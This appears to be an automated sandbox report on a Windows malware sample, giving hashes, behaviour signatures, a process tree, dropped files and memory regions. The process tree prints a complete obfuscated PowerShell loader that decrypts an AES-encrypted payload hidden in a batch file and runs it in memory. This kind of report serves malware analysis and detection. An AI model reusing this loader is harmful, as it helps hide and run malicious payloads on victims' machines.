Analysis

  • max time kernel
    56s
  • max time network
    101s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230703-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/08/2023, 16:45

General

  • Target

    0a2a3e6eb5d920e00c424039f54ad1b9f66ecf1c7f854c544e9b2e22d153c9edexe_JC.exe

  • Size

    591KB

  • MD5

    07f93a3fafb4bdfc8ee14e75d3a067ed

  • SHA1

    fe949c7d2a6e7fdbfe80f88b77ac121ff78473e0

  • SHA256

    0a2a3e6eb5d920e00c424039f54ad1b9f66ecf1c7f854c544e9b2e22d153c9ed

  • SHA512

    cb415168819bf56f797a20c2d081239d37f6440a480b5807ae425afd2261cf6079318f4b176282f6215b6a55f2b11c33355dbc553cddbdd31dbd6c6799b695f2

  • SSDEEP

    12288:d8Ax7GrNHgsg5vcj61pn5P2uFe7IGxdjI73Jxge4WFNMiyxlwn:qAx7Gxe5vQcp8hVxE3jge4uml2

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0a2a3e6eb5d920e00c424039f54ad1b9f66ecf1c7f854c544e9b2e22d153c9edexe_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\0a2a3e6eb5d920e00c424039f54ad1b9f66ecf1c7f854c544e9b2e22d153c9edexe_JC.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4992
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4520
  • C:\Windows\SYSTEM32\cmd.exe
    C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\gtwwhbs.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:888
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\gtwwhbs.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4268
      • C:\Users\Admin\AppData\Local\Temp\gtwwhbs.bat.scr
        "C:\Users\Admin\AppData\Local\Temp\gtwwhbs.bat.scr" -w hidden -c $IoHI='GbhTxebhTxtCubhTxrrbhTxentPbhTxrbhTxocbhTxessbhTx'.Replace('bhTx', '');$YThx='RbhTxeadbhTxLbhTxinebhTxsbhTx'.Replace('bhTx', '');$BZdR='SplbhTxitbhTx'.Replace('bhTx', '');$wkMM='LoabhTxdbhTx'.Replace('bhTx', '');$Schx='InbhTxvbhTxokbhTxebhTx'.Replace('bhTx', '');$sOYv='MbhTxaibhTxnbhTxMobhTxdbhTxubhTxlebhTx'.Replace('bhTx', '');$GewW='EntrbhTxyPbhTxoinbhTxtbhTx'.Replace('bhTx', '');$RDDF='ChabhTxngbhTxebhTxExtbhTxenbhTxsiobhTxnbhTx'.Replace('bhTx', '');$BRFZ='ElbhTxebhTxmenbhTxtbhTxAbhTxtbhTx'.Replace('bhTx', '');$xRuw='TrabhTxnbhTxsfbhTxormbhTxFinbhTxalBbhTxlobhTxckbhTx'.Replace('bhTx', '');$lEbe='FrbhTxombhTxBasbhTxe64bhTxSbhTxtbhTxrinbhTxgbhTx'.Replace('bhTx', '');$DxEM='CrbhTxeatebhTxDebhTxcrbhTxypbhTxtorbhTx'.Replace('bhTx', '');function sTHNF($KOZoK){$uSSaq=[System.Security.Cryptography.Aes]::Create();$uSSaq.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uSSaq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uSSaq.Key=[System.Convert]::$lEbe('l1mGzzW6VwnSMBDn3abAktdzHpgQ2u2J5US922yw3C4=');$uSSaq.IV=[System.Convert]::$lEbe('PRGOu0v/8IP/KoS6c9wTWg==');$fXZmM=$uSSaq.$DxEM();$TBSvx=$fXZmM.$xRuw($KOZoK,0,$KOZoK.Length);$fXZmM.Dispose();$uSSaq.Dispose();$TBSvx;}function UbSiJ($KOZoK){$sixLe=New-Object System.IO.MemoryStream(,$KOZoK);$QrGpd=New-Object System.IO.MemoryStream;$Peavr=New-Object System.IO.Compression.GZipStream($sixLe,[IO.Compression.CompressionMode]::Decompress);$Peavr.CopyTo($QrGpd);$Peavr.Dispose();$sixLe.Dispose();$QrGpd.Dispose();$QrGpd.ToArray();}$EWpTE=[System.Linq.Enumerable]::$BRFZ([System.IO.File]::$YThx([System.IO.Path]::$RDDF([System.Diagnostics.Process]::$IoHI().$sOYv.FileName, $null)), 1);$GVKYS=$EWpTE.Substring(2).$BZdR(':');$swpDj=UbSiJ (sTHNF ([Convert]::$lEbe($GVKYS[0])));$nvyDR=UbSiJ (sTHNF ([Convert]::$lEbe($GVKYS[1])));[System.Reflection.Assembly]::$wkMM([byte[]]$nvyDR).$GewW.$Schx($null,$null);[System.Reflection.Assembly]::$wkMM([byte[]]$swpDj).$GewW.$Schx($null,$null);
        3⤵
        • Executes dropped EXE
        PID:1924

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\gtwwhbs.bat

    Filesize

    3.1MB

    MD5

    1551e43ba5cc0468ffa4d54d29870ac0

    SHA1

    2c61b5443a387146b2bc91432e433eddd885643b

    SHA256

    670804e6feb3e0fe86cff07d3ce364ba57842eac02a4c1248989b7a9c1b97de9

    SHA512

    2fac29db81f334ae08944009a82f9c3d70bf4e0e291b826aaaa8f822e0f80962ab9dc75d97515d55ad95f6bf4903619e2484ff3e4799bd2ac9cc4bfdaf9b550f

  • C:\Users\Admin\AppData\Local\Temp\gtwwhbs.bat.scr

    Filesize

    192KB

    MD5

    d64253fa665ae070d95e8b9438ab2697

    SHA1

    ae8930de4f5dfeb31246043d4cf1ed9814cc4db4

    SHA256

    5ff7d7573a6a1cfa04a9191c1cb4626b0d200b9077258557fdc7ea06c87bf743

    SHA512

    cd9fa8738caadd34c118de0faad66c4470f49673bc23b023f24a6e1aaa7869a91f9fe9e849c411331fe7352df38dbc100d715d35fef64cff5c4f45b05d3c6468

  • memory/4520-2346-0x000002A47B680000-0x000002A47B690000-memory.dmp

    Filesize

    64KB

  • memory/4520-4557-0x000002A47B680000-0x000002A47B690000-memory.dmp

    Filesize

    64KB

  • memory/4520-4081-0x00007FFBEBAC0000-0x00007FFBEC581000-memory.dmp

    Filesize

    10.8MB

  • memory/4520-3902-0x000002A47B680000-0x000002A47B690000-memory.dmp

    Filesize

    64KB

  • memory/4520-2348-0x00007FFBEBAC0000-0x00007FFBEC581000-memory.dmp

    Filesize

    10.8MB

  • memory/4992-177-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-185-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-147-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-149-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-151-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-153-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-155-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-157-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-161-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-159-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-163-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-165-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-167-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-169-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-171-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-173-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-175-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-133-0x0000000000AC0000-0x0000000000B58000-memory.dmp

    Filesize

    608KB

  • memory/4992-179-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-181-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-183-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-145-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-187-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-189-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-191-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-193-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-195-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-197-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-199-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-1000-0x00007FFBEBAC0000-0x00007FFBEC581000-memory.dmp

    Filesize

    10.8MB

  • memory/4992-1235-0x000000001C730000-0x000000001C740000-memory.dmp

    Filesize

    64KB

  • memory/4992-2342-0x000000001C730000-0x000000001C740000-memory.dmp

    Filesize

    64KB

  • memory/4992-2344-0x000000001C730000-0x000000001C740000-memory.dmp

    Filesize

    64KB

  • memory/4992-2347-0x00007FFBEBAC0000-0x00007FFBEC581000-memory.dmp

    Filesize

    10.8MB

  • memory/4992-143-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-141-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-139-0x000000001C730000-0x000000001C740000-memory.dmp

    Filesize

    64KB

  • memory/4992-138-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-137-0x00007FFBEBAC0000-0x00007FFBEC581000-memory.dmp

    Filesize

    10.8MB

  • memory/4992-134-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB

  • memory/4992-135-0x000000001C570000-0x000000001C651000-memory.dmp

    Filesize

    900KB